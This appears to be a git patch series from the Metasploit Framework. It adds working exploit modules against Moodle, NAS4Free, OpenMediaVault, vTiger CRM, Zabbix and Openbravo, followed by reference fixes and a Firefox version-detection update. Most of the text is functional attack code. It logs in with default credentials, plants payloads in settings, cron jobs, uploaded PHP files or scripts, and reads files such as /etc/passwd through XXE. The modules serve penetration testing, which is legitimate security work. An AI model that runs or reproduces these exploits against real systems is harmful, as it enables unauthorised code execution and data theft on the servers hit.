send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, '/index.php') + }) + + sess = init.get_cookies + + post = { + 'username' => datastore["USERNAME"], + 'password' => datastore["PASSWORD"] + } + + print_status("Authenticating as user: " << datastore["USERNAME"]) + + login = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/login/index.php'), + 'vars_post' => post, + 'cookie' => sess + }) + + if !login or login.code != 303 + fail_with("Login failed") + end + + sess = login.get_cookies + + print_status("Getting session key to update spellchecker if no session key was specified") + + sesskey = '' + if datastore['SESSKEY'] == '' + tinymce = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, '/admin/settings.php') + '?section=editorsettingstinymce', + 'cookie' => sess + }) + + tinymce.body.each_line do |line| + next if line !~ /name="sesskey"/ + sesskey = line[0..line.index('>')] + end + + if sesskey == '' + fail_with("Unable to get proper session key") + end + + sesskey = REXML::Document.new sesskey + sesskey = sesskey.root.attributes["value"] + else + sesskey = datastore['SESSKEY'] + end + + post = { + 'section' => 'editorsettingstinymce', + 'sesskey' => sesskey, + 'return' => '', + 's_editor_tinymce_spellengine' => 'PSpellShell', + 's_editor_tinymce_spelllanguagelist' => '%2BEnglish%3Den%2CDanish%3Dda%2CDutch%3Dnl%2CFinnish%3Dfi%2CFrench%3Dfr%2CGerman%3Dde%2CItalian%3Dit%2CPolish%3Dpl%2CPortuguese%3Dpt%2CSpanish%3Des%2CSwedish%3Dsv' + } + + print_status("Updating spellchecker to use the system aspell") + + post = { + 'section' => 'systempaths', + 'sesskey' => sesskey, + 'return' => '', + 's__gdversion' => '2', + 's__pathtodu' => '/usr/bin/du', + 's__aspellpath' => payload.encoded, + 's__pathtodot' => '' + } + + aspell = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/admin/settings.php'), + 'vars_post' => post, + 'cookie' => sess + }) + + spellcheck = '{"id":"c0","method":"checkWords","params":["en",[""]]}' + + print_status("Triggering payload") + + resp = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/lib/editor/tinymce/tiny_mce/3.4.9/plugins/spellchecker/rpc.php'), + 'data' => spellcheck, + 'ctype' => 'application/json', + 'cookie' => sess + }) + + if !resp or resp.code != 200 + fail_with("Error triggering payload") + end + + end +end diff --git a/modules/exploits/multi/http/nas4free_php_exec.rb b/modules/exploits/multi/http/nas4free_php_exec.rb new file mode 100644 index 0000000000..f4831d2b45 --- /dev/null +++ b/modules/exploits/multi/http/nas4free_php_exec.rb @@ -0,0 +1,128 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' +require 'rexml/document' + +class Metasploit4 < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'NAS4Free Arbitrary Remote Code Execution', + 'Description' => %q{ + NAS4Free allows an authenticated user to post PHP code to a special HTTP script and have + the code executed remotely. This module was successfully tested against NAS4Free version + 9.1.0.1.804. Earlier builds are likely to be vulnerable as well. + }, + 'Author' => [ + 'Brandon Perry ' # Discovery / msf module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2013-3631'] + ], + 'Payload' => + { + 'Space' => 21244, + 'DisableNops' => true, + 'BadChars' => '' + }, + 'Targets' => + [ + [ 'Automatic Target', { } ] + ], + 'Privileged' => true, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'DisclosureDate' => 'Oct 30 2013', + 'DefaultTarget' => 0)) + + register_options([ + OptString.new('USERNAME', [ true, "Username to authenticate with", "admin"]), + OptString.new('PASSWORD', [ false, "Password to authenticate with", "nas4free"]) + ], self.class) + end + + def exploit + init = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, '/') + }) + + sess = init.get_cookies + + post = { + 'username' => datastore["USERNAME"], + 'password' => datastore["PASSWORD"] + } + + login = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/login.php'), + 'vars_post' => post, + 'cookie' => sess + }) + + if !login or login.code != 302 + fail_with("Login failed") + end + + exec_resp = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, '/exec.php'), + 'cookie' => sess + }) + + if !exec_resp or exec_resp.code != 200 + fail_with('Error getting auth token from exec.php') + end + + authtoken = '' + #The html returned is not well formed, so I can't parse it with rexml + exec_resp.body.each_line do |line| + next if line !~ /authtoken/ + authtoken = line + end + + doc = REXML::Document.new authtoken + input = doc.root + + if !input + fail_with('Error getting auth token') + end + + token = input.attributes["value"] + + data = Rex::MIME::Message.new + data.add_part('', nil, nil, 'form-data; name="txtCommand"') + data.add_part('', nil, nil, 'form-data; name="txtRecallBuffer"') + data.add_part('', nil, nil, 'form-data; name="dlPath"') + data.add_part('', 'application/octet-stream', nil, 'form-data; name="ulfile"; filename=""') + data.add_part(payload.encoded, nil, nil, 'form-data; name="txtPHPCommand"') + #data.add_part(token, nil, nil, 'form-data; name="authtoken"') + + #I need to build the last data part by hand due to a bug in rex + data_post = data.to_s + data_post = data_post[0..data_post.length-data.bound.length-7] + + data_post << "\r\n--#{data.bound}" + data_post << "\r\nContent-Disposition: form-data; name=\"authtoken\"\r\n\r\n" + data_post << token + data_post << "\r\n--#{data.bound}--\r\n\r\n" + + resp = send_request_raw({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/exec.php'), + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => data_post, + 'cookie' => sess + }) + end +end diff --git a/modules/exploits/multi/http/openbravo_xxe.rb b/modules/exploits/multi/http/openbravo_xxe.rb new file mode 100644 index 0000000000..1f8ea24444 --- /dev/null +++ b/modules/exploits/multi/http/openbravo_xxe.rb @@ -0,0 +1,118 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' +require 'net/dns' +require 'rexml/document' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Openbravo ERP XXE Arbitrary File Read', + 'Description' => %q{ + The Openbravo ERP XML API expands external entities which can be defined as + local files. This allows the user to read any files from the FS as the + user Openbravo is running as (generally not root). + + This module was tested againt Openbravo ERP version 3.0MP25 and 2.50MP6. + }, + 'Author' => + [ + 'Brandon Perry ' # Discovery / msf module + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => 'Oct 30 2013' + )) + + register_options( + [ + OptString.new('TARGETURI', [ true, "Base Openbravo directory path", '/openbravo/']), + OptString.new('USERNAME', [true, "The Openbravo user", "Openbravo"]), + OptString.new('PASSWORD', [true, "The Openbravo password", "openbravo"]), + OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/passwd"]), + OptString.new('ENDPOINT', [true, "The XML API REST endpoint to use", "ADUser"]) + ], self.class) + end + + def run + print_status("Requesting list of entities from endpoint, this may take a minute...") + users = send_request_raw({ + 'method' => 'GET', + 'uri' => normalize_uri(datastore['TARGETURI'], "/ws/dal/#{datastore["ENDPOINT"]}"), + 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) + }, 60) + + if !users or users.code != 200 + fail_with("Invalid response. Check your credentials and that the server is correct.") + end + + xml = path = id = other_id = '' #for later use + doc = REXML::Document.new users.body + + doc.root.elements.each do |user| + id = user.attributes["id"] + other_id = user.attributes["identifier"] + print_status("Found #{datastore["ENDPOINT"]} #{other_id} with ID: #{id}") + + print_status("Trying #{other_id}") + xml = %Q{ + + ]>\n" + xml << '' + xml << "<#{datastore["ENDPOINT"]} id=\"#{id}\" identifier=\"#{other_id}\">" + xml << "#{id}" + xml << '&xxe;' + xml << "" + xml << '' + + resp = send_request_raw({ + 'method' => 'PUT', + 'uri' => normalize_uri(target_uri.path, "/ws/dal/#{datastore["ENDPOINT"]}/#{id}"), + 'data' => xml, + 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) + }) + + if !resp or resp.code != 200 or resp.body =~ /Not updating entity/ + print_error("Problem updating #{datastore["ENDPOINT"]} #{other_id} with ID: #{id}") + next + end + + print_status("Found writeable #{datastore["ENDPOINT"]}: #{other_id}") + + u = send_request_raw({ + 'method' => 'GET', + 'uri' => normalize_uri(datastore['TARGETURI'], "/ws/dal/#{datastore["ENDPOINT"]}/#{id}"), + 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) + }) + + u = REXML::Document.new u.body + path = store_loot('openbravo.file','text/plain/', datastore['RHOST'], u.root.elements["//comments"].first.to_s, "File from Openbravo server #{datastore['RHOST']}") + break + end + + if path != '' + print_status("Cleaning up after ourselves...") + + xml.sub!('&xxe;', '') + + send_request_raw({ + 'method' => 'PUT', + 'uri' => normalize_uri(target_uri.path, "/ws/dal/#{datastore["ENDPOINT"]}/#{id}"), + 'data' => xml, + 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) + }) + + print_good("File saved to: #{path}") + end + end +end diff --git a/modules/exploits/multi/http/openmediavault_cmd_exec.rb b/modules/exploits/multi/http/openmediavault_cmd_exec.rb new file mode 100644 index 0000000000..a3eda8ec16 --- /dev/null +++ b/modules/exploits/multi/http/openmediavault_cmd_exec.rb @@ -0,0 +1,94 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => 'OpenMediaVault Cron Remote Command Execution', + 'Description' => %q{ + OpenMediaVault allows an authenticated user to create cron jobs as aribtrary users on the system. + An attacker can abuse this to run arbitrary commands as any user available on the system (including root). + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Brandon Perry ' # Discovery / msf module + ], + 'References' => + [ + ['CVE', '2013-3632'] + ], + 'Privileged' => true, + 'DefaultOptions' => { 'WfsDelay' => 60 }, + 'Payload' => + { + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic perl ruby bash telnet python', + } + }, + 'Platform' => ['unix', 'linux'], + 'Arch' => ARCH_CMD, + 'Targets' => [['Automatic',{}]], + 'DisclosureDate' => 'Oct 30 2013', + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']), + OptString.new('PASSWORD', [ false, "Password to authenticate with", 'openmediavault']) + ], self.class) + end + + def exploit + init = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, '/index.php') + }) + + sess = init.get_cookies + post = "{\"service\":\"Authentication\",\"method\":\"login\",\"params\":{\"username\":\"#{datastore["USERNAME"]}\",\"password\":\"#{datastore["PASSWORD"]}\"}}" + + login = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/rpc.php'), + 'data' => post, + 'ctype' => 'application/json', + 'cookie' => sess + }) + + if !login or login.code != 200 + fail_with("Login failed") + end + + sess = login.get_cookies + post = '{"service":"Cron","method":"set","params":{"enable":true,"minute":"*","hour":"*","dayofmonth":"*","month":"*","dayofweek":"*","username":"root","command":"' + post << payload.encoded.gsub('"', '\"') + post << '","comment":"","type":"userdefined","everynminute":false,"everynhour":false,"everyndayofmonth":false,"sendemail":false,"uuid":"undefined"}}' + + resp = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/rpc.php'), + 'data' => post, + 'ctype' => 'application/json', + 'cookie' => sess + }) + + if !resp or resp.code != 200 + fail_with("Posting cron failed.") + end + + print_status("Waiting for connect-back, this will take up to a minute") + end +end diff --git a/modules/exploits/multi/http/vtiger_php_exec.rb b/modules/exploits/multi/http/vtiger_php_exec.rb new file mode 100644 index 0000000000..511139eab7 --- /dev/null +++ b/modules/exploits/multi/http/vtiger_php_exec.rb @@ -0,0 +1,127 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'vTigerCRM v5.4.0/v5.3.0 Authenticated Remote Code Execution', + 'Description' => %q{ + vTiger CRM allows an authenticated user to upload files to embed within documents. + Due to insufficient privileges on the 'files' upload folder, an attacker can upload a PHP + script and execute aribtrary PHP code remotely. + + This module was tested against vTiger CRM v5.4.0 and v5.3.0. + }, + 'Author' => + [ + 'Brandon Perry ' # Discovery / msf module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ], + 'Privileged' => false, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Payload' => + { + 'BadChars' => "&\n=+%", + }, + 'Targets' => + [ + [ 'Automatic', { } ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Oct 30 2013')) + + register_options( + [ + OptString.new('TARGETURI', [ true, "Base vTiger CRM directory path", '/vtigercrm/']), + OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']), + OptString.new('PASSWORD', [ false, "Password to authenticate with", 'admin']) + ], self.class) + end + + def check + res = nil + begin + res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/index.php') }) + rescue + print_error("Unable to access the index.php file") + return CheckCode::Unknown + end + + if res and res.code != 200 + print_error("Error accessing the index.php file") + return CheckCode::Unknown + end + + if res.body =~ /

    Powered by vtiger CRM - (.*)<\/div>/i + print_status("vTiger CRM version: " + $1) + case $1 + when '5.4.0', '5.3.0' + return CheckCode::Vulnerable + else + return CheckCode::Safe + end + end + + return CheckCode::Unknown + end + + def exploit + + init = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, '/index.php') + }) + + sess = init.get_cookies + + post = { + 'module' => 'Users', + 'action' => 'Authenticate', + 'return_module' => 'Users', + 'return_action' => 'Login', + 'user_name' => datastore['USERNAME'], + 'user_password' => datastore['PASSWORD'] + } + + login = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/index.php'), + 'vars_post' => post, + 'cookie' => sess + }) + + fname = rand_text_alphanumeric(rand(10)+6) + '.php3' + cookies = login.get_cookies + + php = %Q|| + data = Rex::MIME::Message.new + data.add_part(php, 'application/x-php', nil, "form-data; name=\"upload\"; filename=\"#{fname}\""); + data.add_part('files', nil, nil, 'form-data; name="dir"') + + data_post = data.to_s + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/kcfinder/browse.php?type=files&lng=en&act=upload'), + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => data_post, + 'cookie' => cookies + }) + if res and res.code == 200 + print_status("Triggering payload...") + send_request_raw({'uri' => datastore["TARGETURI"] + "/test/upload/files/#{fname}"}, 5) + end + end +end diff --git a/modules/exploits/multi/http/zabbix_script_exec.rb b/modules/exploits/multi/http/zabbix_script_exec.rb new file mode 100644 index 0000000000..767f9626c6 --- /dev/null +++ b/modules/exploits/multi/http/zabbix_script_exec.rb @@ -0,0 +1,203 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Zabbix Authenticated Remote Command Execution', + 'Description' => %q{ + ZABBIX allows an administrator to create scripts that will be run on hosts. + An authenticated attacker can create a script containing a payload, then a host + with an IP of 127.0.0.1 and run the abitrary script on the ZABBIX host. + + This module was tested againt Zabbix v2.0.9. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Brandon Perry ' # Discovery / msf module + ], + 'References' => + [ + ['CVE', '2013-3628'] + ], + 'Payload' => + { + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic perl ruby bash telnet python', + } + }, + 'Platform' => ['unix', 'linux'], + 'Arch' => ARCH_CMD, + 'Targets' => [['Automatic',{}]], + 'DisclosureDate' => 'Oct 30 2013', + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('USERNAME', [ true, "Username to authenticate with", 'Admin']), + OptString.new('PASSWORD', [ true, "Password to authenticate with", 'zabbix']), + OptString.new('TARGETURI', [ true, "The URI of the Zabbix installation", '/zabbix/']) + ], self.class) + end + + def check + init = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "/index.php") + }) + + if !init or init.code != 200 + print_error("Could not connect to server") + return Exploit::CheckCode::Unknown + end + + if init.body =~ /Zabbix (2\.0\.(\d)) Copyright/ + if $1 >= "2.0.0" and $1 <= "2.0.8" + print_good("Version #{$1} is vulnerable.") + return Exploit::CheckCode::Vulnerable + end + end + return Exploit::CheckCode::Safe + end + + def exploit + c = connect + + req = c.request_cgi({ + 'method' => 'POST', + 'uri' => '/zabbix/', + 'data' => 'request=&name=' << datastore['USERNAME'] << '&password=' << datastore['PASSWORD'] << '&enter=Sign+in' + }) + + login = c.send_recv(req.to_s.sub("Host:", "Host: " << datastore["RHOST"])) + + if !login or login.code != 302 + fail_with("Login failed") + end + + sess = login.headers['Set-Cookie'] + + dash = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, '/dashboard.php'), + 'cookie' => sess + }) + + if !dash or dash.code != 200 + fail_with("Dashboard failed") + end + + sid = '' + dash.body.each_line do |line| + if line =~ /&sid=(.{16})\">/ + sid = $1 + break + end + end + + if sid == '' + fail_with("Could not get sid") + end + + script_title = rand_text_alpha(18) + post = { + 'sid' => sid, + 'form_refresh' => 3, + 'form' => 'Create+script', + 'name' => script_title, + 'type' => 0, + 'execute_on' => 1, + 'command' => payload.encoded, + 'commandipmi' => '', + 'description' => '', + 'usrgrpid' => 0, + 'groupid' => 0, + 'access' => 2, + 'save' => 'Save' + } + + resp = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/scripts.php'), + 'vars_post' => post, + 'cookie' => sess + }) + + if !resp or resp.code != 200 + fail_with("Error creating script") + end + + script_id = '' + if resp.body =~ /scriptid=(\d{1,8})&sid=#{sid}\">#{script_title}/ + script_id = $1 + else + fail_with("Could not get the script id") + end + + host = rand_text_alpha(18) + post = { + 'sid' => sid, + 'form_refresh' => 1, + 'form' => 'Create+host', + 'host' => host, + 'visiblename' => host, + 'groups_left' => 4, + 'newgroup' => '', + 'interfaces[1][isNew]' => true, + 'interfaces[1][interfaceid]' => 1, + 'interfaces[1][type]' => 1, + 'interfaces[1][ip]' => '127.0.0.1', + 'interfaces[1][dns]' => '', + 'interfaces[1][useip]' => 1, + 'interfaces[1][port]' => 10050, + 'mainInterfaces[1]' => 1, + 'proxy_hostid' => 0, + 'status' => 0, + 'ipmi_authtype' => -1, + 'ipmi_privilege' => 2, + 'ipmi_username' => '', + 'ipmi_password' => '', + 'macros[0][macro]' => '', + 'macros[0][value]' => '', + 'inventory_mode' => -1, + 'save' => 'Save', + 'groups[4]' => 4 + } + + resp = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/hosts.php'), + 'vars_post' => post, + 'cookie' => sess + }) + + if !resp or resp.code != 200 + fail_with("Error creating new host") + end + + hostid = '' + if resp.body =~ /hosts.php\?form=update&hostid=(\d{1,12})&groupid=(\d)&sid=#{sid}\">#{host}/ + hostid = $1 + else + fail_with("Could not get the host id") + end + + send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "/scripts_exec.php?execute=1&hostid=#{hostid}&scriptid=#{script_id}&sid=#{sid}"), + 'cookie' => sess + }) + end +end From 97a4ca07521492f7c2ec7e1cc1d294a570ac7c2d Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 30 Oct 2013 11:36:16 -0500 Subject: [PATCH 364/409] Update references for FOSS modules --- modules/exploits/multi/http/ispconfig_php_exec.rb | 5 +++++ modules/exploits/multi/http/moodle_cmd_exec.rb | 6 ++++-- modules/exploits/multi/http/nas4free_php_exec.rb | 1 + modules/exploits/multi/http/openbravo_xxe.rb | 5 +++++ modules/exploits/multi/http/openmediavault_cmd_exec.rb | 1 + modules/exploits/multi/http/vtiger_php_exec.rb | 1 + modules/exploits/multi/http/zabbix_script_exec.rb | 1 + 7 files changed, 18 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/http/ispconfig_php_exec.rb b/modules/exploits/multi/http/ispconfig_php_exec.rb index a40953a240..b89061d7de 100644 --- a/modules/exploits/multi/http/ispconfig_php_exec.rb +++ b/modules/exploits/multi/http/ispconfig_php_exec.rb @@ -24,6 +24,11 @@ class Metasploit4 < Msf::Exploit::Remote [ 'Brandon Perry ' # Discovery / msf module ], + 'References' => + [ + ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats'], + ['CVE', '2013-3629'] + ], 'License' => MSF_LICENSE, 'References' => [ diff --git a/modules/exploits/multi/http/moodle_cmd_exec.rb b/modules/exploits/multi/http/moodle_cmd_exec.rb index 1befde8ea5..331847147a 100644 --- a/modules/exploits/multi/http/moodle_cmd_exec.rb +++ b/modules/exploits/multi/http/moodle_cmd_exec.rb @@ -35,8 +35,10 @@ class Metasploit4 < Msf::Exploit::Remote ], 'References' => [ - ['URL', 'http://www.exploit-db.com/exploits/28174/'], #xss vuln allowing sesskey of admins to be stolen - ['CVE', '2013-3630'] + ['EDB', '28174'], #xss vuln allowing sesskey of admins to be stolen + ['CVE', '2013-3630'], + ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats'] + ], ], 'Payload' => { diff --git a/modules/exploits/multi/http/nas4free_php_exec.rb b/modules/exploits/multi/http/nas4free_php_exec.rb index f4831d2b45..b04ca56e71 100644 --- a/modules/exploits/multi/http/nas4free_php_exec.rb +++ b/modules/exploits/multi/http/nas4free_php_exec.rb @@ -26,6 +26,7 @@ class Metasploit4 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ + ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats'], ['CVE', '2013-3631'] ], 'Payload' => diff --git a/modules/exploits/multi/http/openbravo_xxe.rb b/modules/exploits/multi/http/openbravo_xxe.rb index 1f8ea24444..83b91cd3e6 100644 --- a/modules/exploits/multi/http/openbravo_xxe.rb +++ b/modules/exploits/multi/http/openbravo_xxe.rb @@ -27,6 +27,11 @@ class Metasploit4 < Msf::Auxiliary [ 'Brandon Perry ' # Discovery / msf module ], + 'References' => + [ + ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats'], + ['CVE', '2013-3617'] + ], 'License' => MSF_LICENSE, 'DisclosureDate' => 'Oct 30 2013' )) diff --git a/modules/exploits/multi/http/openmediavault_cmd_exec.rb b/modules/exploits/multi/http/openmediavault_cmd_exec.rb index a3eda8ec16..b5b6a7f1de 100644 --- a/modules/exploits/multi/http/openmediavault_cmd_exec.rb +++ b/modules/exploits/multi/http/openmediavault_cmd_exec.rb @@ -25,6 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'References' => [ + ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats'], ['CVE', '2013-3632'] ], 'Privileged' => true, diff --git a/modules/exploits/multi/http/vtiger_php_exec.rb b/modules/exploits/multi/http/vtiger_php_exec.rb index 511139eab7..02419cbe2c 100644 --- a/modules/exploits/multi/http/vtiger_php_exec.rb +++ b/modules/exploits/multi/http/vtiger_php_exec.rb @@ -27,6 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ + ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats'] ], 'Privileged' => false, 'Platform' => ['php'], diff --git a/modules/exploits/multi/http/zabbix_script_exec.rb b/modules/exploits/multi/http/zabbix_script_exec.rb index 767f9626c6..30e5eb937e 100644 --- a/modules/exploits/multi/http/zabbix_script_exec.rb +++ b/modules/exploits/multi/http/zabbix_script_exec.rb @@ -27,6 +27,7 @@ class Metasploit4 < Msf::Exploit::Remote ], 'References' => [ + ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats'], ['CVE', '2013-3628'] ], 'Payload' => From 0d480f3a7d1a9e9187d111bd957dae880e1c1ad8 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 30 Oct 2013 11:38:04 -0500 Subject: [PATCH 365/409] Typo fix --- modules/exploits/multi/http/moodle_cmd_exec.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/exploits/multi/http/moodle_cmd_exec.rb b/modules/exploits/multi/http/moodle_cmd_exec.rb index 331847147a..808fa2c215 100644 --- a/modules/exploits/multi/http/moodle_cmd_exec.rb +++ b/modules/exploits/multi/http/moodle_cmd_exec.rb @@ -38,7 +38,6 @@ class Metasploit4 < Msf::Exploit::Remote ['EDB', '28174'], #xss vuln allowing sesskey of admins to be stolen ['CVE', '2013-3630'], ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats'] - ], ], 'Payload' => { From 17d796296ca5e6c7b173ce11688ee292d0ae735d Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 30 Oct 2013 12:03:35 -0500 Subject: [PATCH 366/409] Un-dupe References for ispconfig --- modules/exploits/multi/http/ispconfig_php_exec.rb | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/modules/exploits/multi/http/ispconfig_php_exec.rb b/modules/exploits/multi/http/ispconfig_php_exec.rb index b89061d7de..d2bc3c3065 100644 --- a/modules/exploits/multi/http/ispconfig_php_exec.rb +++ b/modules/exploits/multi/http/ispconfig_php_exec.rb @@ -24,14 +24,10 @@ class Metasploit4 < Msf::Exploit::Remote [ 'Brandon Perry ' # Discovery / msf module ], - 'References' => - [ - ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats'], - ['CVE', '2013-3629'] - ], 'License' => MSF_LICENSE, 'References' => [ + ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats'], ['CVE', '2013-3629'] ], 'Privileged' => false, From 4425cf1dc11932e8a24567491fa79485611ca724 Mon Sep 17 00:00:00 2001 From: joev Date: Wed, 30 Oct 2013 12:19:22 -0500 Subject: [PATCH 367/409] Add support for firefox 25. Also replaces a bunch of missing semicolons. --- data/js/detect/os.js | 30 +++++++++++++++++------------- 1 file changed, 17 insertions(+), 13 deletions(-) diff --git a/data/js/detect/os.js b/data/js/detect/os.js index 24f41fedc8..1fdd2deb1f 100644 --- a/data/js/detect/os.js +++ b/data/js/detect/os.js @@ -210,38 +210,42 @@ window.os_detect.getVersion = function(){ // Thanks to developer.mozilla.org "Firefox for developers" series for most // of these. // Release changelogs: http://www.mozilla.org/en-US/firefox/releases/ - if ('DeviceStorage' in window && window.DeviceStorage && + if (css_is_valid('background-attachment', + 'backgroundAttachment', + 'local')) { + ua_version = '25.0'; + } else if ('DeviceStorage' in window && window.DeviceStorage && 'default' in window.DeviceStorage.prototype) { // https://bugzilla.mozilla.org/show_bug.cgi?id=874213 - ua_version = '24.0' + ua_version = '24.0'; } else if (input_type_is_valid('range')) { - ua_version = '23.0' + ua_version = '23.0'; } else if ('HTMLTimeElement' in window) { - ua_version = '22.0' + ua_version = '22.0'; } else if ('createElement' in document && document.createElement('main') && document.createElement('main').constructor === window['HTMLElement']) { - ua_version = '21.0' + ua_version = '21.0'; } else if ('imul' in Math) { - ua_version = '20.0' + ua_version = '20.0'; } else if (css_is_valid('font-size', 'fontSize', '23vmax')) { - ua_version = '19.0' + ua_version = '19.0'; } else if ('devicePixelRatio' in window) { - ua_version = '18.0' + ua_version = '18.0'; } else if ('createElement' in document && document.createElement('iframe') && 'sandbox' in document.createElement('iframe')) { - ua_version = '17.0' + ua_version = '17.0'; } else if ('mozApps' in navigator && 'install' in navigator.mozApps) { - ua_version = '16.0' + ua_version = '16.0'; } else if ('HTMLSourceElement' in window && HTMLSourceElement.prototype && 'media' in HTMLSourceElement.prototype) { - ua_version = '15.0' + ua_version = '15.0'; } else if ('mozRequestPointerLock' in document.body) { - ua_version = '14.0' + ua_version = '14.0'; } else if ('Map' in window) { - ua_version = "13.0" + ua_version = "13.0"; } else if ('mozConnection' in navigator) { ua_version = "12.0"; } else if ('mozVibrate' in navigator) { From 32794f9d37e6c74138781e685ab40051528033a5 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 30 Oct 2013 12:20:04 -0500 Subject: [PATCH 368/409] Move OpenBravo to aux module land --- modules/{exploits/multi => auxiliary/admin}/http/openbravo_xxe.rb | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/{exploits/multi => auxiliary/admin}/http/openbravo_xxe.rb (100%) diff --git a/modules/exploits/multi/http/openbravo_xxe.rb b/modules/auxiliary/admin/http/openbravo_xxe.rb similarity index 100% rename from modules/exploits/multi/http/openbravo_xxe.rb rename to modules/auxiliary/admin/http/openbravo_xxe.rb From 344413b74df9304c528661dec49e9aa39310a098 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 30 Oct 2013 12:25:55 -0500 Subject: [PATCH 369/409] Reorder refs for some reason. --- modules/auxiliary/admin/http/openbravo_xxe.rb | 4 ++-- modules/exploits/multi/http/ispconfig_php_exec.rb | 4 ++-- modules/exploits/multi/http/moodle_cmd_exec.rb | 2 +- 